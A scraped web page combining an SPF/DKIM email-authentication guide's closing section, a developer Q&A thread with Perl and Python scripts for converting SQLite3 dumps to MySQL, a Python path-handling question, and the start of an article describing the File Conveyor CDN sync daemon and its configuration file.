The record it will create should be placed as a TXT record at your domain and looks like this:
v=spf1 a a:external.domain.tld ~all
Where:
"v=spf1" is the SPF protocol version
"a" mechanism matching current domain (e.g. my own domain.tld)
"a:external.domain.tld" mechanism matching an external domain which may use my own domain.tld to send emails
"mx" mechanism matches the current domain's MX records. Useful if I want to have a secondary server act only as mail server
"all" mechanism matches everything else. It usually stay at the end. The character which prefixes this mechanism means "SoftFail" and it only indicates that all other domains than the one defined won't be recognizable by this SPF record
Definition: Mechanisms can be used to describe the set of hosts which are designated outbound mailers for the domain.
Observation: the SPF standard specify that there should be used the new DNS registration record type SPF instead of TXT but because of compatibility with the current DNS implementations it is recommended to put both TXT and SPF records with the same content.
Useful commands, part III
Here are some of the tools and commands I used to verify that the record is in place and the configurations above are working:
Last thoughts
I invite any reader to help improving this newbie-guide based on their experience and knowledge. There is plenty room for suggestions and additions to this article but this is an area where with all documentation available it seems that it is not enough or not covers all configuration or problems which may occur when setting up such a system. I spent myself several (many) good hours reading and learning, trying and failing or succeeding and finally writing this article hoping that will help others to save some of their time and neurons while trying to follow the latest recommendation of the war against spammers.
Although not required, a donation is always welcome end encouraging
Resources
Files
DKIM configuration file /etc/dkim.conf
DKIM startup script /etc/init.d/dkim
Domainkeys startup script /etc/init.d/domainkeys
Sender-id startup script /etc/init.d/sender-id
Links
How to Setup DomainKeys Identified Mail (DKIM) with Postfix and Ubuntu Server
http://www.unibia.com/unibianet/systems-networking/how-setup-domainkeys-identified-mail-dkim-postfix-and-ubuntu-server
Setting up DKIM, SPF, Domainkeys DNS, Regular DNS on CentOS 5.3 at Pacificrack.com
http://palma-seo.com/setting-dkim-spf-domainkeys-dns-bind
Set Up DKIM On Postfix With dkim-milter (CentOS 5.2)
http://www.howtoforge.com/set-up-dkim-on-postfix-with-dkim-milter-centos-5.2
DomainKey Implementor's Tools and Library for email servers & clients
http://domainkeys.sourceforge.net/
Set Up DKIM For Multiple Domains On Postfix With dkim-milter 2.8.x (CentOS 5.3)
http://www.howtoforge.com/set-up-dkim-for-multiple-domains-on-postfix-with-dkim-milter-2.8.x-centos-5.3
Setting Up SPF, SenderId, Domain Keys, and DKIM
http://www.digitalsanctuary.com/tech-blog/debian/setting-up-spf-senderid-domain-keys-and-dkim.html
Domain Key / DKIM Key Generation Wizard
http://www.socketlabs.com/services/dkwiz
Domainkeys and DKIM with Postfix – Gentoo Linux wiki
http://en.gentoo-wiki.com/wiki/Domainkeys_and_DKIM_with_Postfix
Postfix Add-on Software
http://www.postfix.org/addon.html
DomainKeys Identified Mail (DKIM) Signatures – RFC
http://www.ietf.org/rfc/rfc4871.txt
Postfix / DKIM
https://help.ubuntu.com/community/Postfix/DKIM
How To Implement SPF In Postfix
http://www.howtoforge.com/postfix_spf
Email authentication guide made by BITS
http://www.bits.org/downloads/Publications%20Page/BITSSenderAuthenticationDeploymentFINALJun09.pdf
Return Path’s Best Practice Guide
http://www.returnpath.net/downloads/resources/Email%20Authentication%20v080107.pdf
Last update: May 5th, 2010
Posted: April 16th, 2008 | Author: admin | Filed under: Developers | No Comments »
Split email formats in pieces through preg_match:
$str=' (|(([^a-zA-Z0-9_\-.]|)(.*?)(|[^a-zA-Z0-9_\-.]+?)([a-zA-Z0-9_\-.]+?)(|[^a-zA-Z0-9_\-.]+?)))(|[^a-zA-Z0-9_\-.])([a-zA-Z0-9_\-.]+?)(|[^a-zA-Z0-9_\-.])@(.+?)\.([^>]+)';
Posted: April 16th, 2008 | Author: admin | Filed under: Developers | No Comments »
PHP code:
<pre lang="php">
<?php
function is_email($email) {
$x = '\d\w!\#\$%&\'*+\-/=?\^_`{|}~'; //just for clarity
return count($email = explode('@', $email, 3)) == 2 &&
strlen($email[0]) < 65 && strlen($email[1]) < 256 &&
preg_match("#^[$x]+(\.?([$x]+\.)*[$x]+)?$#", $email[0]) &&
preg_match('#^(([a-z0-9]+-*)?[a-z0-9]+\.)+[a-z]{2,6}.?$#', $email[1]);
}
?>
</pre>
Posted: March 22nd, 2008 | Author: admin | Filed under: General | No Comments »
%%wpcontactform%% |
Anyone know a quick easy way to migrate a SQLite3 database to MySQL?
Here is a list of converters:
An alternative method that would work nicely but is rarely mentioned is: use a ORM class that abstracts the specific database differences away for you. e.g. you get these in PHP (RedBean), Python (Django's ORM layer, Storm, SqlAlchemy), Ruby on Rails ( ActiveRecord), Cocoa (CoreData)
i.e. you could do this:
Everyone seems to starts off with a few greps and perl expressions and you sorta kinda get something that works for your particular dataset but you have no idea if it's imported the data correctly or not. I'm seriously surprised nobody's built a solid library that can convert between the two.
Here a list of ALL the differences in SQL syntax that I know about between the two file formats: The lines starting with:
are not used in MySQL
Here is a very basic hacked up perl script which works for
#! /usr/bin/perl
while ($line = <>){
if (($line !~ /BEGIN TRANSACTION/) && ($line !~ /COMMIT/) && ($line !~ /sqlite_sequence/) && ($line !~ /CREATE UNIQUE INDEX/)){
if ($line =~ /CREATE TABLE \"([a-z_]*)\"(.*)/){
$name = $1;
$sub = $2;
$sub =~ s/\"//g;
$line = "DROP TABLE IF EXISTS $name;\nCREATE TABLE IF NOT EXISTS $name$sub\n";
}
elsif ($line =~ /INSERT INTO \"([a-z_]*)\"(.*)/){
$line = "INSERT INTO $1$2\n";
$line =~ s/\"/\\\"/g;
$line =~ s/\"/\'/g;
}else{
$line =~ s/\'\'/\\\'/g;
}
$line =~ s/([^\\'])\'t\'(.)/$1THIS_IS_TRUE$2/g;
$line =~ s/THIS_IS_TRUE/1/g;
$line =~ s/([^\\'])\'f\'(.)/$1THIS_IS_FALSE$2/g;
$line =~ s/THIS_IS_FALSE/0/g;
$line =~ s/AUTOINCREMENT/AUTO_INCREMENT/g;
print $line;
}
}
Here is a python script, built off of Shalmanese's answer and some help from Alex martelli over at Translating Perl to Python
I'm making it community wiki, so please feel free to edit, and refactor as long as it doesn't break the functionality (thankfully we can just roll back) - It's pretty ugly but works
use like so (assuming the script is called
Which you can then import into mysql
note - you need to add foreign key constrains manually since sqlite doesn't actually support them
here is the script:
#!/usr/bin/env python
import re
import fileinput
def this_line_is_useless(line):
useless_es = [
'BEGIN TRANSACTION',
'COMMIT',
'sqlite_sequence',
'CREATE UNIQUE INDEX',
]
for useless in useless_es:
if re.search(useless, line):
return True
def has_primary_key(line):
return bool(re.search(r'PRIMARY KEY', line))
searching_for_end = False
for line in fileinput.input():
if this_line_is_useless(line):
continue
# this line was necessary because ''); was getting
# converted (inappropriately) to \');
if re.match(r".*, ''\);", line):
line = re.sub(r"''\);", r'``);', line)
if re.match(r'^CREATE TABLE.*', line):
searching_for_end = True
m = re.search('CREATE TABLE "?([a-z_]*)"?(.*)', line)
if m:
name, sub = m.groups()
line = "DROP TABLE IF EXISTS %(name)s;\nCREATE TABLE IF NOT EXISTS `%(name)s`%(sub)s\n"
line = line % dict(name=name, sub=sub)
else:
m = re.search('INSERT INTO "([a-z_]*)"(.*)', line)
if m:
line = 'INSERT INTO %s%s\n' % m.groups()
line = line.replace('"', r'\"')
line = line.replace('"', "'")
line = re.sub(r"([^'])'t'(.)", "\1THIS_IS_TRUE\2", line)
line = line.replace('THIS_IS_TRUE', '1')
line = re.sub(r"([^'])'f'(.)", "\1THIS_IS_FALSE\2", line)
line = line.replace('THIS_IS_FALSE', '0')
# Add auto_increment if it's not there since sqlite auto_increments ALL
# primary keys
if searching_for_end:
if re.search(r"integer(?:\s+\w+)*\s*PRIMARY KEY(?:\s+\w+)*\s*,", line):
line = line.replace("PRIMARY KEY", "PRIMARY KEY AUTO_INCREMENT")
# replace " and ' with ` because mysql doesn't like quotes in CREATE commands
if line.find('DEFAULT') == -1:
line = line.replace('"', '`').replace("'", '`')
else:
parts = line.split('DEFAULT')
parts[0].replace('"', '`').replace("'", '`')
line = 'DEFAULT'.join(parts)
# And now we convert it back (see above)
if re.match(r".*, ``\);", line):
line = re.sub(r'``\);', r"'');", line)
if searching_for_end and re.match(r'.*\);', line):
searching_for_end = False
if re.match(r"CREATE INDEX", line):
line = re.sub('"', '`', line)
print line,
It's messy because dump files are database vendor specific.
If you're using Rails, a great plugin exists for this. Read: http://blog.heroku.com/archives/2007/11/23/yamldb_for_databaseindependent_data_dumps/
Update
Currently maintained fork: https://github.com/ludicast/yaml_db
Surprised no one's mentioned this by now, but there's actually a tool explicitly for this. It's in perl, SQL:Translator: http://sqlfairy.sourceforge.net/
Converts between most any form of tabular data (Different SQL formats, Excel spreadsheet), and even makes diagrams of your SQL schema.
aptitude install sqlfairy libdbd-sqlite3-perl
sqlt -f DBI --dsn dbi:SQLite:../.open-tran/ten-sq.db -t MySQL --add-drop-table > mysql-ten-sq.sql
sqlt -f DBI --dsn dbi:SQLite:../.open-tran/ten-sq.db -t Dumper --use-same-auth > sqlite2mysql-dumper.pl
chmod +x sqlite2mysql-dumper.pl
./sqlite2mysql-dumper.pl --help
./sqlite2mysql-dumper.pl --add-truncate --mysql-loadfile > mysql-dump.sql
sed -e 's/LOAD DATA INFILE/LOAD DATA LOCAL INFILE/' -i mysql-dump.sql
echo 'drop database `ten-sq`' | mysql -p -u root
echo 'create database `ten-sq` charset utf8' | mysql -p -u root
mysql -p -u root -D ten-sq < mysql-ten-sq.sql
mysql -p -u root -D ten-sq < mysql-dump.sql
Probably the quick easiest way is using the sqlite .dump command, in this case create a dump of the sample database.
You can then (in theory) import this into the mysql database, in this case the test database on the database server 127.0.0.1, using user root.
I say in theory as there are a few differences between grammars.
In sqlite transactions begin
BEGIN TRANSACTION;
...
COMMIT;
MySQL uses just
BEGIN;
...
COMMIT;
There are other similar problems (varchars and double quotes spring back to mind) but nothing find and replace couldn't fix.
Perhaps you should ask why you are migrating, if performance/ database size is the issue perhaps look at reoginising the schema, if the system is moving to a more powerful product this might be the ideal time to plan for the future of your data.
Get a SQL dump
Import dump to MySQL
For small imports:
moose@pc08$ mysql -u <username> -p
Enter password:
....
mysql> use somedb;
Database changed
mysql> source myTemporarySQLFile.sql;
or
This will prompt you for a password. Please note: If you want to enter your password directly, you have to do it WITHOUT space, directly after
For larger dumps:
mysqlimport or other import tools like BigDump.
BigDump gives you a progress bar:
I recently had to migrate from MySQL to JavaDB for a project that our team is working on. I found a Java library written by Apache called DdlUtils that made this pretty easy. It provides an API that lets you do the following:
The tools that we ended up with weren't completely automated, but they worked pretty well. Even if your application is not in Java, it shouldn't be too difficult to whip up a few small tools to do a one-time migration. I think I was able to pull of our migration with less than 150 lines of code.
The python script worked after a few modifications as follows:
# Remove "PRAGMA foreign_keys=OFF; from beginning of script
# Double quotes were not removed from INSERT INTO "BaselineInfo" table, check if removed from subsequent tables. Regex needed A-Z added.
# Removed backticks from CREATE TABLE
# Added replace AUTOINCREMENT with AUTO_INCREMENT
# Removed replacement,
#line = line.replace('"', '`').replace("'", '`')
...
useless_es = [
'BEGIN TRANSACTION',
'COMMIT',
'sqlite_sequence',
'CREATE UNIQUE INDEX',
'PRAGMA foreign_keys=OFF',
]
...
m = re.search('CREATE TABLE "?([A-Za-z_]*)"?(.*)', line)
if m:
name, sub = m.groups()
line = "DROP TABLE IF EXISTS %(name)s;\nCREATE TABLE IF NOT EXISTS %(name)s%(sub)s\n"
line = line % dict(name=name, sub=sub)
line = line.replace('AUTOINCREMENT','AUTO_INCREMENT')
line = line.replace('UNIQUE','')
line = line.replace('"','')
else:
m = re.search('INSERT INTO "([A-Za-z_]*)"(.*)', line)
if m:
line = 'INSERT INTO %s%s\n' % m.groups()
line = line.replace('"', r'\"')
line = line.replace('"', "'")
...
Based on Jims's solution: Quick easy way to migrate SQLite3 to MySQL?
sqlite3 your_sql3_database.db .dump | python ./dump.py > your_dump_name.sql
cat your_dump_name.sql | sed '1d' | mysql --user=your_mysql_user --default-character-set=utf8 your_mysql_db -p
This works for me. I use sed just to throw the first line, which is not mysql-like, but you might as well modify dump.py script to throw this line away.
I've just gone through this process, and there's a lot of very good help and information in this Q/A, but I found I had to pull together various elements (plus some from other Q/As) to get a working solution in order to successfully migrate.
However, even after combining the existing answers, I found that the Python script did not fully work for me as it did not work where there were multiple boolean occurrences in an INSERT. See here why that was the case.
So, I thought I'd post up my merged answer here. Credit goes to those that have contributed elsewhere, of course. But I wanted to give something back, and save others time that follow.
I'll post the script below. But firstly, here's the instructions for a conversion...
I ran the script on OS X 10.7.5 Lion. Python worked out of the box.
To generate the MySQL input file from your existing SQLite3 database, run the script on your own files as follows,
Snips$ sqlite3 original_database.sqlite3 .dump | python ~/scripts/dump_for_mysql.py > dumped_data.sql
I then copied the resulting dumped_sql.sql file over to a Linux box running Ubuntu 10.04.4 LTS where my MySQL database was to reside.
Another issue I had when importing the MySQL file was that some unicode UTF-8 characters (specifically single quotes) were not being imported correctly, so I had to add a switch to the command to specify UTF-8.
The resulting command to input the data into a spanking new empty MySQL database is as follows:
Snips$ mysql -p -u root -h 127.0.0.1 test_import --default-character-set=utf8 < dumped_data.sql
Let it cook, and that should be it! Don't forget to scrutinise your data, before and after.
So, as the OP requested, it's quick and easy, when you know how! :-)
As an aside, one thing I wasn't sure about before I looked into this migration, was whether created_at and updated_at field values would be preserved - the good news for me is that they are, so I could migrate my existing production data.
Good luck!
Since making this switch, I've noticed a problem that I hadn't noticed before. In my Rails application, my text fields are defined as 'string', and this carries through to the database schema. The process outlined here results in these being defined as VARCHAR(255) in the MySQL database. This places a 255 character limit on these field sizes - and anything beyond this was silently truncated during the import. To support text length greater than 255, the MySQL schema would need to use 'TEXT' rather than VARCHAR(255), I believe. The process defined here does not include this conversion.
Here's the merged and revised Python script that worked for my data:
#!/usr/bin/env python
import re
import fileinput
def this_line_is_useless(line):
useless_es = [
'BEGIN TRANSACTION',
'COMMIT',
'sqlite_sequence',
'CREATE UNIQUE INDEX',
'PRAGMA foreign_keys=OFF'
]
for useless in useless_es:
if re.search(useless, line):
return True
def has_primary_key(line):
return bool(re.search(r'PRIMARY KEY', line))
searching_for_end = False
for line in fileinput.input():
if this_line_is_useless(line): continue
# this line was necessary because ''); was getting
# converted (inappropriately) to \');
if re.match(r".*, ''\);", line):
line = re.sub(r"''\);", r'``);', line)
if re.match(r'^CREATE TABLE.*', line):
searching_for_end = True
m = re.search('CREATE TABLE "?([A-Za-z_]*)"?(.*)', line)
if m:
name, sub = m.groups()
line = "DROP TABLE IF EXISTS %(name)s;\nCREATE TABLE IF NOT EXISTS `%(name)s`%(sub)s\n"
line = line % dict(name=name, sub=sub)
line = line.replace('AUTOINCREMENT','AUTO_INCREMENT')
line = line.replace('UNIQUE','')
line = line.replace('"','')
else:
m = re.search('INSERT INTO "([A-Za-z_]*)"(.*)', line)
if m:
line = 'INSERT INTO %s%s\n' % m.groups()
line = line.replace('"', r'\"')
line = line.replace('"', "'")
line = re.sub(r"(?<!')'t'(?=.)", r"1", line)
line = re.sub(r"(?<!')'f'(?=.)", r"0", line)
# Add auto_increment if it's not there since sqlite auto_increments ALL
# primary keys
if searching_for_end:
if re.search(r"integer(?:\s+\w+)*\s*PRIMARY KEY(?:\s+\w+)*\s*,", line):
line = line.replace("PRIMARY KEY", "PRIMARY KEY AUTO_INCREMENT")
# replace " and ' with ` because mysql doesn't like quotes in CREATE commands
# And now we convert it back (see above)
if re.match(r".*, ``\);", line):
line = re.sub(r'``\);', r"'');", line)
if searching_for_end and re.match(r'.*\);', line):
searching_for_end = False
if re.match(r"CREATE INDEX", line):
line = re.sub('"', '`', line)
print line,
I use data loader for migrating almost any data, it helps me to convert MSSQL to MYSQL, MS access to MSSQL, mysql, csv loader, foxpro and MSSQL to MS access, MYSQl, CSV, foxpro etc. In my view this is a best Data Migration Tool
Download Free : http://www.dbload.com
Ha... I wish I had found this first! My response was to this post... http://stackoverflow.com/questions/489277/script-to-convert-mysql-dump-sql-file-into-format-that-can-be-imported-into-sqlit
Combining the two would be exactly what I needed:
When the sqlite3 database is going to be used with ruby you may want to change:
tinyint([0-9]*)
to:
sed 's/ tinyint(1*) / boolean/g ' |
sed 's/ tinyint([0|2-9]*) / integer /g' |
alas, this only half works because even though you are inserting 1's and 0's into a field marked boolean, sqlite3 stores them as 1's and 0's so you have to go through and do something like:
Table.find(:all, :conditions => {:column => 1 }).each { |t| t.column = true }.each(&:save)
Table.find(:all, :conditions => {:column => 0 }).each { |t| t.column = false}.each(&:save)
but it was helpful to have the sql file to look at to find all the booleans.
fallino correctly identified the location of the error in the script. I have the solution. The problem is the following lines:
line = re.sub(r"([^'])'t'(.)", "\1THIS_IS_TRUE\2", line)
line = line.replace('THIS_IS_TRUE', '1')
line = re.sub(r"([^'])'f'(.)", "\1THIS_IS_FALSE\2", line)
line = line.replace('THIS_IS_FALSE', '0')
The replacement pattern (2nd parameter) in the re.sub calls is a "regular" string, so instead of \1 expanding to the first regexp match, it expands to a literal 0x01. Likewise, \2 expands to 0x02. For example, a line containing: ,'t','f',would be replaced with: <0x01>10<0x02>
The fix is to either change the replacement strings by adding an 'r' prefix, or by escaping the \1 and \2 in the existing string. Since easy manipulation of regexp strings is what raw strings are for, here's the fix using those:
line = re.sub(r"([^'])'t'(.)", r"\1THIS_IS_TRUE\2", line)
line = line.replace('THIS_IS_TRUE', '1')
line = re.sub(r"([^'])'f'(.)", r"\1THIS_IS_FALSE\2", line)
line = line.replace('THIS_IS_FALSE', '0')
This script is ok except for this case that of course, I've met :
INSERT INTO "requestcomparison_stopword" VALUES(149,'f'); INSERT INTO "requestcomparison_stopword" VALUES(420,'t');
The script should give this output :
INSERT INTO requestcomparison_stopword VALUES(149,'f'); INSERT INTO requestcomparison_stopword VALUES(420,'t');
But gives instead that output :
INSERT INTO requestcomparison_stopword VALUES(1490; INSERT INTO requestcomparison_stopword VALUES(4201;
with some strange non-ascii characters around the last 0 and 1.
This didn't show up anymore when I commented the following lines of the code (43-46) but others problems appeared:
line = re.sub(r"([^'])'t'(.)", "\1THIS_IS_TRUE\2", line)
line = line.replace('THIS_IS_TRUE', '1')
line = re.sub(r"([^'])'f'(.)", "\1THIS_IS_FALSE\2", line)
line = line.replace('THIS_IS_FALSE', '0')
This is just a special case, when we want to add a value being 'f' or 't' but I'm not really comfortable with regular expressions, I just wanted to spot this case to be corrected by someone.
Anyway thanks a lot for that handy script !!!
echo ".dump" | sqlite3 /tmp/db.sqlite > db.sql
watch out for CREATE statements |
I have the following piece of python code. The code is supposed to get a source, a temporary and an final output path from the user and extract some header files. When the full paths are specified from the terminal, the program works perfectly but when the terminal command is as so :
Python Get-iOS-Private-SDKs.py -p /Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS4.3.sdk/System/Library/PrivateFrameworks/ -t ./tmp -f ./Test.txt, then the header files, instead of getting generated in a tmp folder in the current directory, they go into a recursive loop. Each folder in-turn has a tmp folder and it goes on and on. Can anyone tell me why ?
import optparse,os,subprocess
from glob import glob
parser = optparse.OptionParser()
parser.add_option("-p","--path", help = "Source path", dest = "Input_Path", metavar = "PATH")
parser.add_option("-t","--temp",help = "Temporary Folder Path", dest = "Temp_Path", metavar = "PATH")
parser.add_option("-f","--file",help = "Destination Path",dest ="Output_Path",metavar = "PATH")
(opts,args) =parser.parse_args()
if (opts.Input_Path is None or opts.Output_Path is None or opts.Temp_Path is None):
print "Error: Please specify the necessary paths"
else:
os.makedirs(opts.Temp_Path + "Private_SDK")
dest = opts.Temp_Path + "Private_SDK/"
for root,subFolders,files in os.walk(opts.Input_Path):
for file in files:
os.makedirs(dest + file)
os.chdir(dest + file)
command = ['/opt/local/bin/class-dump','-H',os.path.join(root,file)]
subprocess.call(command)
The folder also does not get created as Private_SDK, it gets created as tmpPrivate_SDK. Basically if I am able to get the full path from the terminal when ./tmp is mentioned, I can make the program run ! |
In this extensive article, I explain the architecture of the “File Conveyor” daemon that I wrote to detect files immediately (through the file system event monitors on each OS, i.e. inotify on Linux), process them (e.g. recompress images, compress CSS/JS files, transcode videos …) and finally, sync them (FTP, Amazon S3, Amazon CloudFront and Rackspace CloudFiles are supported).
Previously in this series:
So now that we have the tools to accurately (or at least representatively) measure the effects of using a CDN, we still have to start using a CDN. Next, we will examine how a web site can take advantage of a CDN.
As explained in “Key Properties of a CDN”, there are two very different methods for populating CDNs. Supporting pull is easy, supporting push is a lot of work. But if we want to avoid vendor lock-in, it is necessary to be able to transparently switch between pull and any of the transfer protocols for push. Suppose that you are using CDN A, which only supports FTP. when you want to switch to a cheaper, yet better CDN B, that would be a costly operation, because CDN B only supports a custom protocol.
To further reduce costs, it is necessary that we can do the preprocessing ourselves (be that video transcoding, image optimization or anything else). Also note that many CDNs do not support processing of files — but it can reduce the amount of bandwidth consumed significantly, and thereby the bill received every month.
That is why the meat of this thesis is about a daemon that makes it just as easy to use either push or pull CDNs and that gives you full flexibility in what kind of preprocessing you would like to perform. All you will have to do to integrate your web site with a CDN is:
install the daemon
tell it what to do by filling out a simple configuration file
start the daemon
retrieve the URLs of the synced files from an SQLite database (so you can alter the existing URLs to files to the ones for the CDN)
Goals
As said before, the ability to use either push or pull CDNs is an absolute necessity, as is the ability to process files before they are synced to the CDN. However, there is more to it than just that, so here is a full list of goals.
Easy to use: the configuration file is the interface and explain itself just by its structure
Transparency: the transfer protocol(s) supported by the CDN should be irrelevant
Mixing CDNs and static file servers
Processing before sync: image optimization, video transcoding …
Detect (and sync) new files instantly: through inotify on Linux, FSEvents on Mac OS X and the FindFirstChangeNotificationAPI orReadDirectoryChangesAPI on Windows (there is also theFileSystemWatcherclass for .NET)
Robustness: when the daemon is stopped (or when it crashed), it should know where it left off and sync all added, modified and deleted files that it was still syncing and that have been added, modified and deleted while it was not running
Scalable: syncing 1,000 or 1,000,000 files — and keeping them synced — should work just as well
Unit testing wherever feasible
Design for reuse wherever possible
Low resource consumption (except for processors, which may be very demanding because of their nature)
No dependencies other than Python (but processors can have additional dependencies)
All the logic of the daemon should be contained in a single module, to allow for quick refactoring.
A couple of these goals need more explaining.
The transparency goal should speak for itself, but you may not yet have realized its impact. This is what will avoid high CDN provider switching costs, that is, it helps to avoid vendor lock-in.
Detecting and syncing files instantly is a must to ensure CDN usage is as high as possible. If new files would only be detected every 10 minutes, then visitors may be downloading files directly from the web server instead of from the CDN. This increases the load on the web server unnecessarily and also increases the page load time for the visitors.
For example, one visitor has uploaded images as part of the content he created. All visitors will be downloading the image from the web server, which is suboptimal, considering that they could have been downloading it from the CDN.
The ability to mix CDNs and static file servers makes it possible to either maximize the page loading performance or minimize the costs. Depending on your company’s customer base, you may either want to pay for a global CDN or a local one. If you are a global company, a global CDN makes sense. But if you are present only in a couple of countries, say the U.S.A., Japan and France, it does not make sense to pay for a global CDN. It is probably cheaper to pay for a North-American CDN and a couple of strategically placed static file servers in Japan and France to cover the rest of your customer base. Without this daemon, this is rather hard to set up. With it however, it becomes child’s play: all you have to do, is configure multiple destinations. That is all there is to it. It is then still up to you how you use these files, though. To decide from which server you will let your visitors download the files, you could look at the IP, or if your visitors must register, at the country they have entered in their profile. This also allows for event-driven server allocation. For example if a big event is being hosted in Paris, you could temporarily hire another server in Paris to ensure low latency and high throughput.
Other use cases
The daemon, or at least one or more of the modules that were written for it, can be reused in other applications. For example:
Back-up tool
Video transcoding server (e.g. to transcode videos uploaded by visitors to H.264 or Flash video)
Key component in creating your own CDN
Key component in a file synchronization tool for consumers
2. Configuration file design
Since the configuration file is the interface and I had a good idea of the features I wanted to support, I started by writing a configuration file. That might be unorthodox, but in the end, this is the most important part of the daemon. If it is too hard to configure, nobody will use it. If it is easy to use, more people will be inclined to give it a try.
Judge for yourself how easy it is by looking at the listing below. Beneath the config root node, there are 3 child nodes, one for each of the 3 major sections:
<?xml version="1.0" encoding="UTF-8"?>
<config>
<!-- Sources -->
<sources ignoredDirs="CVS:.svn">
<source name="drupal" scanPath="/htdocs/drupal" documentRoot="/htdocs" basePath="/drupal/" />
<source name="downloads" scanPath="/Users/wimleers/Downloads" />
</sources>
<!-- Servers -->
<servers>
<server name="origin pull cdn" transporter="symlink_or_copy">
<location>/htdocs/drupal/staticfiles</location>
<url>http://mydomain.mycdn.com/staticfiles</url>
</server>
<server name="ftp push cdn" transporter="ftp" maxConnections="5">
<host>localhost</host>
<username>daemontest</username>
<password>daemontest</password>
<url>http://localhost/daemontest/</url>
</server>
</servers>
<!-- Rules -->
<rules>
<rule for="drupal" label="CSS, JS, images and Flash">
<filter>
<paths>modules:misc</paths>
<extensions>ico:js:css:gif:png:jpg:jpeg:svg:swf</extensions>
</filter>
<processorChain>
<processor name="image_optimizer.KeepFilename" />
<processor name="yui_compressor.YUICompressor" />
<processor name="link_updater.CSSURLUpdater" />
<processor name="unique_filename.Mtime" />
</processorChain>
<destinations>
<destination server="origin pull cdn" />
<destination server="ftp push cdn" path="static" />
</destinations>
</rule>
<rule for="drupal" label="Videos">
<filter>
<paths>modules:misc</paths>
<extensions>flv:mov:avi:wmv</extensions>
<ignoredDirs>CVS:.svn</ignoredDirs>
<size conditionType="minimum">1000000</size>
</filter>
<processorChain>
<processor name="unique_filename.MD5" />
</processorChain>
<destinations>
<destination server="ftp push cdn" path="videos" />
</destinations>
</rule>
<rule for="downloads" label="Mirror">
<filter>
<extensions>mov:avi</extensions>
</filter>
<destinations>
<destination server="origin pull cdn" path="mirror" />
<destination server="ftp push cdn" path="mirror" />
</destinations>
</rule>
</rules>
</config>
sources: indicate each data source in which new, modified and deleted files will be detected recursively. Each source has a name (that we will reference later in the configuration file) and of course ascanPath, which defines the root directory within which new/modified/deleted files will be detected. It can also optionally have thedocumentRootandbasePathattributes, which may be necessary for some processors that perform magic with URLs. sources itself also has an optionalignoredDirsattribute, which will subsequently be applied to allfilternodes. While unnecessary, this prevents needless duplication ofignoredDirsnodes insidefilternodes.
servers: provide the settings for all servers that will be used in this configuration. Each server has anameand atransporterthat it should use. The child nodes of theservernode are the settings that are passed to that transporter.
rules: this is the heart of the configuration file, since this is what determines what goes where. Each rule is associated with a source (via theforattribute), must have alabelattribute and can consist (but does not have to!) of three parts:
filter: can containpaths,extensions,ignoredDirs,patternandsizechild nodes. The text values of these nodes will be used to filter the files that have been created, modified or deleted within the source to which this rule applies. If it is a match, then the rule will be applied (and therefor the processor chain and destination associated with it). Otherwise, this rule is ignored for that file. See the filter module explanation for details.
processorChain: accepts any number ofprocessornodes through which you reference (via thenameattribute) the processor module and the specific processor class within that processor module that you would like to use. They will be chained in the order you specify here.
destinations: accepts any number ofdestinationnodes through which you specify all servers to which the file should be transported. Each destination node must have aserverattribute and can have apathattribute. Thepathattribute sets a parent path (on the server) inside which the files will be transported.
Reading the above should make less sense than simply reading the configuration file. If that is the case for you too, then I succeeded.
3. Python modules
All modules have been written with reusability in mind: none of them make assumptions about the daemon itself and are therefor reusable in other Python applications.
3.1. filter.py
This module provides the Filter class. Through this class, you can check if a given file path matches a set of conditions. This class is used to determine which processors should be applied to a given file and to which CDN it should be synced.
This class has just 2 methods: set_conditions() and matches(). There are 5 different conditions you can set. The last two should be used with care, because they are a lot slower than the first three. Especially the last one can be very slow, because it must access the file system.
If there are several valid options within a single condition, a match with any of them is sufficient (OR). Finally, all conditions must be satisfied (AND) before a given file path will result in a positive match.
The five conditions that can be set (as soon as one or more conditions are set, Filter will work) are:
paths: a list of paths (separated by colons) in which the file can reside
extensions: a list of extensions (separated by colons) the file can have
ignoredDirs: a list of directories (separated by colons) that should be ignored, meaning that if the file is inside one of those directories,Filterwill mark this as a negative match — this is useful to ignore data in typicalCVSand.svndirectories
pattern: a regular expression the file path must match
size
conditionType: either minimum or maximum
threshold: the threshold in bytes
This module is fully unit-tested and is therefor guaranteed to work flawlessly.
3.2. pathscanner.py
As is to be expected, this module provides the PathScanner class, which scans paths and stores them in a SQLite database. You can use PathScanner to detect changes in a directory structure. For efficiency, only creations, deletions and modifications are detected, not moves. This class is used to scan the file system for changes when no supported filesystem monitor is installed on the current operating system. It is also used for persistent storage: when the daemon has been stopped, the database built and maintained through/by this class is used as a reference, to detect changes that have happened before it was started again. This mean PathScanner is used during the initialization of the daemon, regardless of the available file system monitors.
The database schema is very simple: (path, filename, mtime). Directories are also stored; in that case, path is the path of the parent directory, filename is the directory name and mtime is set to -1. Modified files are detected by comparing the current mtime with the value stored in the mtime column.
Changes to the database are committed in batches, because changes in the filesystem typically occur in batches as well. Changes are committed to the database on a per-directory level. However, if many changes occurred in a single directory and if every change would be committed separately, the concurrency level would rise unnecessarily. By default, every batch of 50 changes inside a directory is committed.
This class provides you with 8 methods:
initial_scan()to build the initial database — works recursively
scan()to get the changes — does not work recursively
scan_tree() (usesscan()) to get the changes in an entire directory structure — obviously works recursively
purge_path()to purge all the metadata for a path from the database
add_files(),update_files(),remove_files()to add/update/remove files manually (useful when your application has more/faster knowledge of changes)
Special care had to be taken to not scan directory trees below directories that are in fact symbolic links. This design decision was made to mimic the behavior of file system monitors, which are incapable of following symbolic links.
This module does not have any tests yet, because it requires a lot of mock functions to simulate system calls. It has been tested manually thoroughly though.
3.3. fsmonitor.py
This time around, there is more to it than it seems. fsmonitor.py provides FSMonitor, a base class from which subclasses derive. fsmonitor_inotify.py has the FSMonitorInotify class, fsmonitor_fsevents.py has FSMonitorFSEvents and fsmonitor_polling.py has FSMonitorPolling.
Put these together and you have a single, easy to use abstraction for each major operating system’s file system monitor:
Uses inotify on Linux (kernel 2.6.13 and higher)
Uses FSEvents (also see John Siracusa’s FSEvents review) on Mac OS X (10.5 and higher)
Falls back to polling when neither one is present
Windows support is possible, but has not been implemented yet due to time constraints. There are two APIs to choose between: FindFirstChangeNotification and ReadDirectoryChanges. There is a third, the FileSystemWatcher class, but this is only usable from within .NET and Visual C++, so it is an unlikely option because it is not directly accessible from within Python. This was already mentioned in the goals.
